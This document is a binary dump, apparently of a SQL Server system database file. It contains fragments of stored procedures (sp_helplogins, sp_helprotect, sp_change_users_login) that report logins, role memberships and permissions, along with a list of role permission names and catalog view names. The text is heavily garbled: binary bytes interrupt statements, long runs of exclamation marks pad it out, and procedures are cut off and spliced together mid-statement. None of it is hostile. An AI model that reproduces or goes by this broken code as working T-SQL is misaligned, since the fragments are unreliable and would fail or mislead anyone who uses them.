      ,@CountSkipPossUsers             = 0


----------------  Only SA can run this  -------------------


if (not (is_srvrolemember('securityadmin') = 1))
   begin
   raiserror(15247,-1,-1)
   select @RetCode = 1
   goto label_86return
   end

----------------------  spt_values  ----------------
-------- 'D'

select       @DBOptLoading       = number
      from   master.dbo.spt_values
      where  type                = 'D'
      and    name                = 'loading'

select       @DBOptPreRecovery   = number
      from   master.dbo.spt_values
      where  type                = 'D'
      and    name                = 'pre recovery'

select       @DBOptRecovering    = number
      from   master.dbo.spt_values
      where  type                = 'D'
      and    name                = 'recovering'

select       @DBOptSuspect       = number
      from   master.dbo.spt_values
      where  type                = 'D'
      and    name                = 'not recovered'

select       @DBOptOffline       = number
      from   master.dbo.spt_values
      where  type                = 'D'
      and    name                = 'offline'

select       @DBOptDBOUseOnly    = number
      from   master.dbo.spt_values
      where  type                = 'D'
      and    name                = 'dbo use only'

select       @DBOptSingleUser    = number
      from   master.dbo.spt_values
      where  type                = 'D'
      and    name                = 'single user'



---------------  Cursor, for DBNames  -------------------


declare ms_crs_10_DB
   Cursor local static For
select
             name ,status ,sid
      from
             master.dbo.sysdatabases



OPEN ms_crs_10_DB


-----------------  LOOP 10:  thru Databases  ------------------


--------------
WHILE (10 = 10)
   begin    --LOOP 10: thru Databases


   FETCH
             next
      from
             ms_crs_10_DB
      into
             @c10DBName
            ,@c10DBStatus
            ,@c10DBSID


   IF (@@fetch_status <> 0)
      begin
      deallocate ms_crs_10_DB
      BREAK
      end


--------------------  Okay if we peek inside this DB now?


   IF (     @c10DBStatus & @DBOptDBOUseOnly  > 0
       AND  @c10DBSID                       <> suser_sid()
      )
      begin
      select @CountSkipPossUsers = @CountSkipPossUsers + 1
      CONTINUE
      end


   IF (@c10DBStatus & @DBOptSingleUser  > 0)
      begin

      select    @Int1 = count(*)
         from   sys.dm_exec_requests
         where  session_id <> @@spid
         and    database_id = db_id(@c10DBName)

      IF (@Int1 > 0)
         begin
         select @CountSkipPossUsers = @CountSkipPossUsers + 1
         CONTINUE
         end
      end


   IF (@c10DBStatus &
         (
           @DBOptLoading
         | @DBOptRecovering
         | @DBOptSuspect
         | @DBOptPreRecovery
         )
               > 0
      )
      begin
      select @CountSkipPossUsers = @CountSkipPossUsers + 1
      CONTINUE
      end


   IF (@c10DBStatus &
         (
           @DBOptOffline
         )
               > 0
      )
      begin
      --select @CountSkipPossUsers = @CountSkipPossUsers + 1
      CONTINUE
      end

	IF (has_dbaccess(@c10DBName) <> 1)
      begin
	  raiserror(15622,-1,-1, @c10DBName)
      CONTINUE
      end



---------------------  Add the User info to holding table.
	select @exec_stmt = '
   INSERT    #tb1_UA
            (
             DBName
            ,LoginName
            ,UserName
            ,UserOrAlias
            )
      select
             N' + quotename(@c10DBName, '''') + '
            ,l.name
            ,u.name
            ,''User''
         from
             ' + quotename(@c10DBName, '[') + '.sys.sysusers u
            ,sys.server_principals l
         where
             u.sid  = l.sid' +
			case 
			when @LoginNamePattern is null 
			then ''
			else ' and ( l.name = N' + quotename(@LoginNamePattern , '''') + '
				or l.name = N' + quotename(@LoginNamePattern , '''') + ')'
			end
			+
'     UNION
      select

             N' + quotename(@c10DBName, '''') + '
            ,l.name
            ,u2.name
            ,''MemberOf''
         from
             ' + quotename(@c10DBName, '[')+ '.sys.database_role_members m
            ,' + quotename(@c10DBName, '[')+ '.sys.database_principals u1
            ,' + quotename(@c10DBName, '[')+ '.sys.database_principals u2
            ,sys.server_principals l
         where
             u1.sid = l.sid
         and m.member_principal_id = u1.principal_id
		 and m.role_principal_id = u2.principal_id' +
			case 
			when @LoginNamePattern is null
			then ''
			else ' and ( l.name = N' + quotename(@LoginNamePattern , '''') + '
				or l.name = N' + quotename(@LoginNamePattern , '''') + ')'
			end

   EXECUTE(@exec_stmt)

   end --loop 10

---------------  Populate plain logins work table  ---------------


INSERT       #tb2_PlainLogins
            (
             LoginName
            ,SID
            ,DefDBName
            ,DefLangName
            ,AUser
            ,ARemote
            )
   select
             loginname
            ,convert(varchar(85), sid)
            ,dbname
            ,language
            ,Null
            ,Null
      from
             master.dbo.syslogins
      where
             @LoginNamePattern is null
			 or name = @LoginNamePattern
             or loginname = @LoginNamePattern


-- AUser

UPDATE       #tb2_PlainLogins --(1996/08/12)
      set
             AUser  = 'yes'
      from
    !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<~H~W         #tb2_PlainLogins
            ,#tb1_UA             tb1
      where
             #tb2_PlainLogins.LoginName     = tb1.LoginName
      and    #tb2_PlainLogins.AUser        IS Null



UPDATE       #tb2_PlainLogins
      set
             AUser    =
                  CASE @CountSkipPossUsers
                     When  0  Then  'NO'
                     Else           '?'
                  END
      where
             AUser   IS Null


-- ARemote

UPDATE       #tb2_PlainLogins
      set
             ARemote   = 'YES'
      from
             #tb2_PlainLogins
            ,master.dbo.sysremotelogins   rl
      where
             #tb2_PlainLogins.SID = rl.sid
      and    #tb2_PlainLogins.ARemote                 IS Null



UPDATE       #tb2_PlainLogins
      set
             ARemote  = 'no'
      where
             ARemote IS Null



------------  Optimize widths for plain Logins report  ----------


select
             @charMaxLenLoginName      =
                  convert ( varchar
                           ,isnull ( max(datalength(LoginName)) ,9)
                          )
            ,@charMaxLenDBName         =
                  convert ( varchar
                           , isnull (max(isnull (datalength(DefDBName) ,9)) ,9)
                          )
            ,@charMaxLenLangName   =
                  convert ( varchar
                           , isnull (max(isnull (datalength(DefLangName) ,11)) ,11)
                          )
      from
             #tb2_PlainLogins



----------------  Print out plain Logins report  -------------

EXEC(
'
set nocount off


select
          ''LoginName''       = substring (LoginName     ,1 ,'
                                       + @charMaxLenLoginName   + ')

         ,''SID''             = convert(varbinary(85), SID)

         ,''DefDBName''       = substring (DefDBName     ,1 ,'
                                       + @charMaxLenDBName      + ')

         ,''DefLangName''     = substring (DefLangName   ,1 ,'
                                       + @charMaxLenLangName    + ')

         ,AUser
         ,ARemote
   from
          #tb2_PlainLogins
   order by
          LoginName


Set nocount on
'
)



------------  Optimize UA report column display widths  -----------


select
             @charMaxLenLoginName   =
                  convert ( varchar
                           ,isnull ( max(datalength(LoginName)) ,9)
                          )
            ,@charMaxLenDBName      =
                  convert ( varchar
                           ,isnull ( max(datalength(DBName)) ,6)
                          )
            ,@charMaxLenUserName    =
                  convert ( varchar
                           ,isnull ( max(datalength(UserName)) ,8)
                          )
      from
             #tb1_UA



------------  Print out the UserOrAlias report  ------------

EXEC(
'
set nocount off


select
          ''LoginName''    = substring (LoginName  ,1 ,'
                                       + @charMaxLenLoginName  + ')

         ,''DBName''       = substring (DBName     ,1 ,'
                                       + @charMaxLenDBName     + ')

         ,''UserName''     = substring (UserName   ,1 ,'
                                       + @charMaxLenUserName   + ')

         ,UserOrAlias
   from
          #tb1_UA
   order by
          1 ,2 ,3


Set nocount on
'
)


-----------------------  Finalization  --------------------
label_86return:

IF (object_id('#tb2_PlainLogins') IS NOT Null)
            DROP Table #tb2_PlainLogins

IF (object_id('#tb1_UA') IS NOT Null)
            DROP Table #tb1_UA

Return @RetCode -- sp_helplogins
uW	uWrantor_principal_id)
				,'.'
		from	sys.database_permissions
		where class = 0 and major_id = 0
			and	(@grantee is null or grantee_principal_id =  @grantee)
			and	(@grantor is null or grantor_principal_id = @grantor)
			and	(@ObjectStatementName is null or permission_name = @ObjectStatementName)
			
	end


	IF NOT EXISTS (select * from #t1_Prots)
	begin
		raiserror(15330,-1,-1)
		return (1)
	end

	-- Don't show any Revoke rows (Shiloh compat)
	DELETE #t1_Prots WHERE ProtectTypeName = 'R'
	
	-- Translate ProtectTypeName and ActionFullName to full name, using Shiloh values when possible
	UPDATE #t1_Prots
		SET ProtectTypeName = CASE ProtectTypeName
			WHEN 'G' THEN 'Grant' WHEN 'D' THEN 'Deny' WHEN 'W' THEN 'Grant_WGO' END
		, ActionFullName = ISNULL(
			(SELECT v.name FROM sys.syspalnames v WHERE v.class = 'HPRT' AND v.value = ActionName),
			permission_name(ActionCategory, ActionName) )

	/*	Calculate dynamic display col widths		*/
	select
	@charMaxLenOwner       =
		convert ( varchar, max(datalength(OwnerName)))

	,@charMaxLenObject      =
		convert ( varchar, max(datalength(ObjectName)))

	,@charMaxLenGrantee     =
		convert ( varchar, max(datalength(GranteeName)))

	,@charMaxLenGrantor     =
		convert ( varchar, max(datalength(GrantorName)))

	,@charMaxLenAction      =
		convert ( varchar, max(datalength(ActionFullName)))

	,@charMaxLenColumnName  =
		convert ( varchar, max(datalength(ColumnName)))
	from	#t1_Prots

/*  Output the report	*/
EXECUTE(
'set nocount off

select	''Owner''		= substring (OwnerName   ,1 ,' + @charMaxLenOwner   + ')

		,''Object''		= substring (ObjectName  ,1 ,' + @charMaxLenObject  + ')

		,''Grantee''	= substring (GranteeName ,1 ,' + @charMaxLenGrantee + ')

		,''Grantor''	= substring (GrantorName ,1 ,' + @charMaxLenGrantor + ')

		,''ProtectType''= ProtectTypeName

		,''Action''		= substring (ActionFullName collate catalog_default,1 ,' + @charMaxLenAction + ')

		,''Column''		= substring (ColumnName ,1 ,' + @charMaxLenColumnName + ')
   from	#t1_Prots
   order by
		ActionCategory desc
		,Owner			,Object
		,Grantee			,Grantor
		,ProtectType		,Action
		,ColId  --Multiple  -123s  ( <0 )  possible

set nocount on'
)

return (0) -- sp_helprotect
}}LICATE SID IN DB --
            select @FixMode = '2UpdU'
            raiserror(15292,-1,-1,@110name)
        end

        select @loginsid = suser_sid(@110name)
        if not exists (select * from sysusers where sid = @loginsid)
        begin
			-- LOCK USER --
			BEGIN TRANSACTION
			EXEC %%Owner(Name = @110name).Lock(Exclusive = 1)
			-- UPDATE SYSUSERS ROW --
			if @@error = 0
			begin
				EXEC %%UserOrGroup(Name = @110name).SetSID(SID = @loginsid,
						IsExternal = 0, IsGroup = 0,
						Action = @Action, UserNamePattern = @UserNamePattern, LoginName = @LoginName, Password = @sanitizedPwd) -- may fail
				if @@error <> 0
				begin
					ROLLBACK TRANSACTION
					deallocate ms_crs_110_Users
					raiserror(15063,-1,-1)
					return (1)
				end
			end
			COMMIT TRANSACTION

			if @FixMode = '1AddL'
				select @cfixesaddlogin = @cfixesaddlogin + 1
			else
				select @cfixesupdate = @cfixesupdate + 1
		end
		else
			raiserror(15331,-1,-1,@110name)

	    fetch next from ms_crs_110_Users into @110name
    end -- loop
	close ms_crs_110_Users
    deallocate ms_crs_110_Users

    -- REPORT AND RETURN SUCCESS --
    raiserror(15295,-1,-1,@cfixesupdate)
    raiserror(15294,-1,-1,@cfixesaddlogin)
    return (0) -- sp_change_users_login
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!eW`<(I2vuWcreate procedure sys.sp_helprotect
	@name				ncharacter varying(776)  = NULL
	,@username			sysname  = NULL
	,@grantorname		sysname  = NULL
	,@permissionarea	character varying(10)  = 'o s'
as

/********
Explanation of the parms...
---------------------------
@name:  Name of [Owner.]Object and Statement; meaning
for sysprotects.id and sysprotects.action at the
same time; thus see parm @permissionarea.
   Examples-   'user2.tb'  , 'CREATE TABLE', null

@username:  Name of the grantee (for sysprotects.uid).
   Examples-   'user2', null

@grantorname:  Name of the grantor (for sysprotects.grantor).
   Examples-   'user2' --Would prevent report rows which would
                       --  have 'dbo' as grantor.

@permissionarea:  O=Object, S=Statement; include all which apply.
   Examples-   'o'  , ',s'  , 'os'  , 'so'  , 's o'  , 's,o'
GeneMi
********/

	set nocount on

	declare
	@vc1                   sysname
	,@Int1                  integer

	declare
	@charMaxLenOwner		character varying(11)
	,@charMaxLenObject		character varying(11)
	,@charMaxLenGrantee		character varying(11)
	,@charMaxLenGrantor		character varying(11)
	,@charMaxLenAction		character varying(11)
	,@charMaxLenColumnName	character varying(11)

	declare
	@OwnerName				sysname
	,@ObjectStatementName	sysname
	,@schid			integer
	,@grantor		integer
	,@grantee		integer

	/* Perform temp table DDL here to minimize compilation costs*/
CREATE TABLE #t1_Prots(
		Id					int			Null
		,Type1Code			char(6)		collate catalog_default NOT Null
		,ObjType				char(2)		collate catalog_default Null

		,ActionName			varchar(4)	collate Latin1_General_CI_AS_KS_WS NOT NULL
		,ActionFullName		nvarchar(60)	collate catalog_default Null
		,ActionCategory		tinyint not null
		,ProtectTypeName	char(10)	collate catalog_default Null

		,ColId				int			Null

		,OwnerName			sysname		collate catalog_default NOT Null
		,ObjectName			sysname		collate catalog_default NOT Null

		,GranteeId			int			NOT Null
		,GrantorId			int			NOT Null
		,GranteeName			sysname		collate catalog_default NOT Null
		,GrantorName			sysname		collate catalog_default NOT Null

		,ColumnName			sysname		collate catalog_default Null
		)


	/*	Check for valid @permissionarea */
	select @permissionarea = upper( isnull(@permissionarea,'?') )

	IF (	 charindex('O',@permissionarea) <= 0
		AND  charindex('S',@permissionarea) <= 0)
	begin
		raiserror(15300,-1,-1 ,@permissionarea,'o,s')
		return (1)
	end

	select @vc1 = parsename(@name,3)

	/* Verified db qualifier is current db*/
	IF (@vc1 is not null and @vc1 <> db_name())
	begin
		raiserror(15302,-1,-1)  --Do not qualify with DB name.
		return (1)
	end

	/*  Derive OwnerName and @ObjectStatementName*/
	select	@OwnerName				=	parsename(@name, 2)
			,@ObjectStatementName	=	parsename(@name, 1)

	IF (@ObjectStatementName is NULL and @name is not null)
	begin
		raiserror(15253,-1,-1,@name)
		return (1)
	end

	if (@OwnerName is not null)
	begin
		select @schid = schema_id(@OwnerName)
		-- assign void schema id if not valid
		if (@schid is null)
			select @schid = 0	
	end

	if (@username is not null)
	begin
		select @grantee = database_principal_id(@username)
		if (@grantee is null)
			select @grantee = -1	-- assign void user id
	end

	if (@grantorname is not null)
	begin
		select @grantor = database_principal_id(@grantorname)
		if (@grantor is null)
			select @grantor = -1	-- assign void user id
	end

	/*	Copy info from sysprotects for processing	*/
	IF charindex('O',@permissionarea) > 0
	begin
		/*	Copy info for objects	*/
		INSERT	#t1_Prots
        (	Id
			,Type1Code

			,ObjType
			,ActionName
			,ActionCategory
			,ProtectTypeName

			,ColId
			,OwnerName
			,ObjectName
			,GranteeId
			,GrantorId
			,GranteeName
			,GrantorName
			,ColumnName)

	/*	1Regul indicates action can be at column level,
		2Simpl indicates action is at the object level */
		select	sysp.major_id
				,case when sysp.type in ('RF','SL','UP') then '1Regul'
					else '2Simpl'
				end

				,obj.type collate catalog_default
				,sysp.type collate catalog_default
				,sysp.class
				,sysp.state collate catalog_default
				,sysp.minor_id
				,schema_name(obj.schema_id)
				,obj.name
				,sysp.grantee_principal_id
				,sysp.grantor_principal_id
				,user_name(sysp.grantee_principal_id)

				,user_name(sysp.grantor_principal_id)
				,'.'
		from	sys.database_permissions sysp
		join sys.all_objects obj on obj.object_id = sysp.major_id
		where sysp.class = 1
		and (@schid is null or obj.schema_id = @schid)
		and	(@ObjectStatementName is null or obj.name = @ObjectStatementName)
		and	(@grantee is null or sysp.grantee_principal_id =  @grantee)
		and	(@grantor is null or sysp.grantor_principal_id = @grantor)

		IF EXISTS (select * from #t1_Prots)
		begin

			-- Indicate entries where column level action pertains to all columns in table
			update #t1_Prots set ColumnName = '(All)'
			where #t1_Prots.ColId = 0 and #t1_Prots.Type1Code = '1Regul'
			and	not exists
				(select * from #t1_Prots col
				where col.Id = #t1_Prots.Id and col.ColId > 0 and
				col.GranteeId = #t1_Prots.GranteeId and col.GrantorId = #t1_Prots.GrantorId and
				col.ActionName = #t1_Prots.ActionName)

			-- Indicates actions pertain to new columns. (i.e. table-level permission)
			-- Views and functions don't get new columns
			update #t1_Prots set ColumnName = case ColumnName when '(All)' then '(All+New)' else '(New)' end
			where ColId = 0 and ObjType = 'U' and Type1Code = '1Regul'

			-- Indicate entries where column level action pertains to only some of columns in table
			update #t1_Prots set ColumnName = col_name(#t1_Prots.Id, #t1_Prots.ColId)
			where #t1_Prots.Type1Code = '1Regul' and #t1_Prots.ColId > 0

			-- Propagate object-level SL/UP/RF permission to columns as appropriate
			insert #t1_Prots (
				Id
				,Type1Code

				,ObjType
				,ActionName
				,ActionCategory
				,ProtectTypeName

				,ColId
				,OwnerName
				,ObjectName
				,GranteeId
				,GrantorId
				,GranteeName
				,GrantorName
				,ColumnName)
			select c.object_id
					,'1Regul'
					,o.type collate catalog_default
					,p.type collate catalog_default
					,p.class
					,p.state collate catalog_default
					,c.column_id
					,schema_name(o.schema_id)
					,o.name
					,p.grantee_principal_id
					,p.grantor_principal_id
					,user_name(p.grantee_principal_id)
					,user_name(p.grantor_principal_id)
					,c.name
			from sys.columns c join sys.database_permissions p on p.class = 1 and p.major_id = c.object_id and p.minor_id = 0 and p.type in ('RF','SL','UP')
				join sys.all_objects o on o.object_id = c.object_id
			where not exists
					(select * from sys.database_permissions m
					where m.class = 1 and m.major_id = p.major_id and m.minor_id = c.column_id
					and m.grantee_principal_id = p.grantee_principal_id and m.grantor_principal_id = p.grantor_principal_id
					and m.type = p.type)
				and exists
					(select * from sys.database_permissions n
					where n.class = 1 and n.major_id = p.major_id and n.minor_id > 0
					and n.grantee_principal_id = p.grantee_principal_id and n.grantor_principal_id = p.grantor_principal_id
					and n.type = p.type)

		end
	end


	/* Handle statement permissions here*/
	IF (charindex('S',@permissionarea) > 0)
	begin
	   /*	All statement permissions are 2Simpl */
		INSERT	#t1_Prots
			 (	Id
				,Type1Code
				,ObjType
				,ActionName

				,ActionCategory
				,ProtectTypeName
				,ColId
				,OwnerName

				,ObjectName
				,GranteeId
				,GrantorId
				,GranteeName
				,GrantorName
				,ColumnName )
		select	0
				,'2Simpl'
				,Null
				,type collate catalog_default
				,class
				,state collate catalog_default
				,-123
				,'.'
				,'.'
				,grantee_principal_id
				,grantor_principal_id
				,user_name(grantee_principal_id)
				,user_name(g!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`xZbJơ0SRVCSystem Administrators0SRVGSecurity Administrators0SRVCServer Administrators0SRVASetup Administrators0SRVEProcess Administrators0SRV?Disk Administrators0	SRV;Database Creators0
SRVMBulk Insert Administrators0SRV=Raiserror With Log0SRVQConstraints on System tables0SRV9dbcc traceon/off0SRV9dbcc setioweight0SRV;dbcc setcpuweight0SRV?dbcc showoptweights0SRVEdbcc change 'on' rules0SRV9dbcc inputbuffer0SRV	KUSE to a suspect database0SRV
]Create/delete/modify system tables0SRVWCreate indices on system tables0SRV
KComplete SETUSER SQL user0SRVGAdd extended procedures0SRVEAdd member to sysadmin0SRV7sp_altermessage0SRV5sp_updatestats0SRV/sp_password0SRVCsp_change_users_login0SRV9sp_changedbowner0SRV-sp_adduser0SRV/BULK INSERT0SRV?DBCC ShrinkDatabase0SRV7DBCC ShrinkFile0SRV=sp_dropremotelogin0SRV?sp_fulltext_service0SRV7sp_remoteoption0SRV;dbcc outputbuffer0SRV?dbcc checkfilegroup0SRV1dbcc checkdb0SRV 7dbcc checkident0SRV!7dbcc checktable0SRV"5dbcc dbreindex0SRV#5dbcc proccache0SRV$Adbcc show_statistics0SRV%7dbcc showcontig0SRV&3dbcc pintable0SRV'Cdbcc dropcleanbuffers0SRV3sp_grantlogin0SRV5sp_revokelogin0SRV1sp_denylogin0SRV/sp_addlogin0SRV1sp_droplogin0SRV=Read the error log0SRVOAdd member to securityadmin0SRV[Grant/deny/revoke CREATE DATABASE0SRV	3sp_helplogins0SRV
/sp_password0SRV1sp_defaultdb0SRV=sp_defaultlanguage0SRV
Asp_addlinkedsrvlogin0SRVCsp_droplinkedsrvlogin0SRV=sp_dropremotelogin0SRVIsp_remoteoption (update)0SRV/RECONFIGURE0SRV)SHUTDOWN0SRVKAdd member to serveradmin0SRV?sp_fulltext_service0SRV1sp_configure0SRV5sp_tableoption0SRV=dbcc freeproccache0SRVIAdd member to setupadmin0SRV[Add/drop/configure linked servers0SRV]Mark a stored procedure as startup0SRV!KILL0SRVMAdd member to processadmin0SRV+DISK INIT0SRVGAdd member to diskadmin0SRV7sp_addumpdevice0SRV5sp_diskdefault0SRV	3sp_dropdevice0	SRV7CREATE DATABASE0	SRV5ALTER DATABASE0	SRVGAdd member to dbcreator0	SRV7Extend database0	SRV/sp_renamedb0	SRV9RESTORE DATABASE0	SRV/RESTORE LOG0	SRV3DROP DATABASE0
SRV/BULK INSERT0
SRVGAdd member to bulkadmin0@DBR+DB Owners0@DBRIDB Access Administrators0@DBRMDB Security Administrators0@DBRCDB DDL Administrators0@DBR=DB Backup Operator0@DBR5DB Data Reader0@DBR5DB Data Writer0@DBR?DB Deny Data Reader0	@DBR?DB Deny Data Writer0@DBRCEXECUTE any procedure0@DBRCsp_change_users_login0@DBRWAdd/drop to/from db_accessadmin0@DBRKAdd/drop to/from db_owner0@DBR[Add/drop to/from db_securityadmin0@DBRQAdd/drop to/from db_ddladmin0@DBR]Add/drop to/from db_backupoperator0@DBRUAdd/drop to/from db_datareader0@DBR	UAdd/drop to/from db_datawriter0@DBR
]Add/drop to/from db_denydatareader0@DBR]Add/drop to/from db_denydatawriter0@DBR7dbcc checkalloc0@DBR
?sp_fulltext_catalog0@DBRAsp_fulltext_database0@DBR;sp_fulltext_table0@DBR1dbcc checkdb0@DBR?dbcc checkfilegroup0@DBR7dbcc checkident0@DBR7dbcc checktable0@DBR5dbcc dbreindex0@DBR5dbcc proccache0@DBRAdbcc show_statistics0@DBR7dbcc showcontig!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!w6^r3B;Dg(Bi>f-Ku.8W"g>F

h
5
NU

g
2
			^		n1_&Hqr9zAz-n-`
ZZKB^JL8!!!!`*Z.~
L)%
F0@DBR?dbcc shrinkdatabase0@DBR7dbcc shrinkfile0@DBR5sp_refreshview0@DBR5sp_dbcmptlevel0@DBR9dbcc updateusage0@DBR9sp_grantdbaccess0@DBR;sp_revokedbaccess0@DBR/sp_dropuser0@DBR9sp_addrolemember0@DBR;sp_droprolemember0@DBR-sp_addrole0@DBR/sp_droprole0@DBR#GRANT0@DBR%REVOKE0@DBR!DENY0@DBR3sp_addapprole0@DBR	5sp_dropapprole0@DBR
=sp_approlepassword0@DBRAsp_changeobjectowner0@DBRWAll DDL but GRANT, REVOKE, DENY0@DBR]REFERENCES permission on any table0@DBR1sp_recompile0@DBR5sp_tableoption0@DBR+sp_rename0@DBRAsp_changeobjectowner0@DBR=sp_fulltext_column0@DBR;sp_fulltext_table0@DBR	5TRUNCATE TABLE0@DBR
Adbcc show_statistics0@DBR7dbcc showcontig0@DBR7dbcc cleantable0@DBR-CHECKPOINT0@DBR-BACKUP LOG0@DBR7BACKUP DATABASE0@DBRWSELECT permission on any object0@DBRWINSERT permission on any object0@DBRWUPDATE permission on any object0@DBRWDELETE permission on any object0@DBR]No SELECT permission on any object0	@DBR]No INSERT permission on any object0	@DBR]No UPDATE permission on any object0	@DBR]No DELETE permission on any object!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
	g	
	\wJn9U ;U4Uy@`<
c"	zM]k~g&
6master_key_passwords&"`message_type_xml_schema_collection_usages&messages&c messages$&:module_assembly_usages&]Hnumbered_procedure_parameters&^4numbered_procedures&v%6numbered_procedures$&l obd_state&objects&objects$&6?openkeys& 8parameter_type_usages&#Zparameter_xml_schema_collection_usages&w"parameters&E$parameters$&O4partition_functions&N6partition_parameters&M:partition_range_values&J0partition_schemes&q"partitions&$plan_guides&e"procedures&uFQueryNotificationErrorsQueue&Xv@queue_messages_1977058079&x@queue_messages_2009058193&<8z@queue_messages_2041058307&Fregistered_search_properties&Nregistered_search_property_lists&#(remote_logins&4<remote_service_bindings&Lresource_governor_configuration&^resource_governor_resource_pool_affinity&Nresource_governor_resource_pools&Presource_governor_workload_groups&J.role_permissions&3routes* sac_state&Wschemas&0securable_classes&Jselective_xml_index_namespaces&@selective_xml_index_paths& sequences&<server_assembly_modules&Rserver_audit_specification_details&Dserver_audit_specifications&(server_audits&2`*server_audits$&Bserver_event_notifications&Fserver_event_session_actions&Dserver_event_session_events&Dserver_event_session_fields&Fserver_event_session_targets&8server_event_sessions&(server_events&2server_file_audits&%2server_permissions&Fserver_principal_credentials&'0server_principals&&4server_role_members&2server_sql_modules&8server_trigger_events&,server_triggers&$servers&>service_broker_endpoints&ELservice_contract_message_usages&C<service_contract_usages&F0service_contracts&Y!2service_contracts$&G8service_message_types&ն:service_message_types$&6service_queue_usages&[*service_queues&"q2PlanarTessellation&2PlanarGridCoverage&W:pdw_loader_backup_runs&{t8pdw_loader_run_stages&N0pdw_distributions&L^Dpdw_health_component_groups&Yj8pdw_health_components&0Lpdw_health_component_properties&Vpdw_health_component_status_mappings&e)0pdw_health_alerts&Sp0pdw_diag_sessions&1,pdw_diag_events&W|@pdw_diag_event_properties&`Rpdw_column_distribution_properties&5Ppdw_table_distribution_properties&T2pdw_table_mappings&bt2pdw_index_mappings&G8pdw_database_mappings&֬Hpdw_loader_backup_run_details&!SCHEMATA&P<REFERENTIAL_CONSTRAINTS&ROUTINES&J8"PARAMETERS&0+8,ROUTINE_COLUMNS&> SEQUENCES&hORMask& 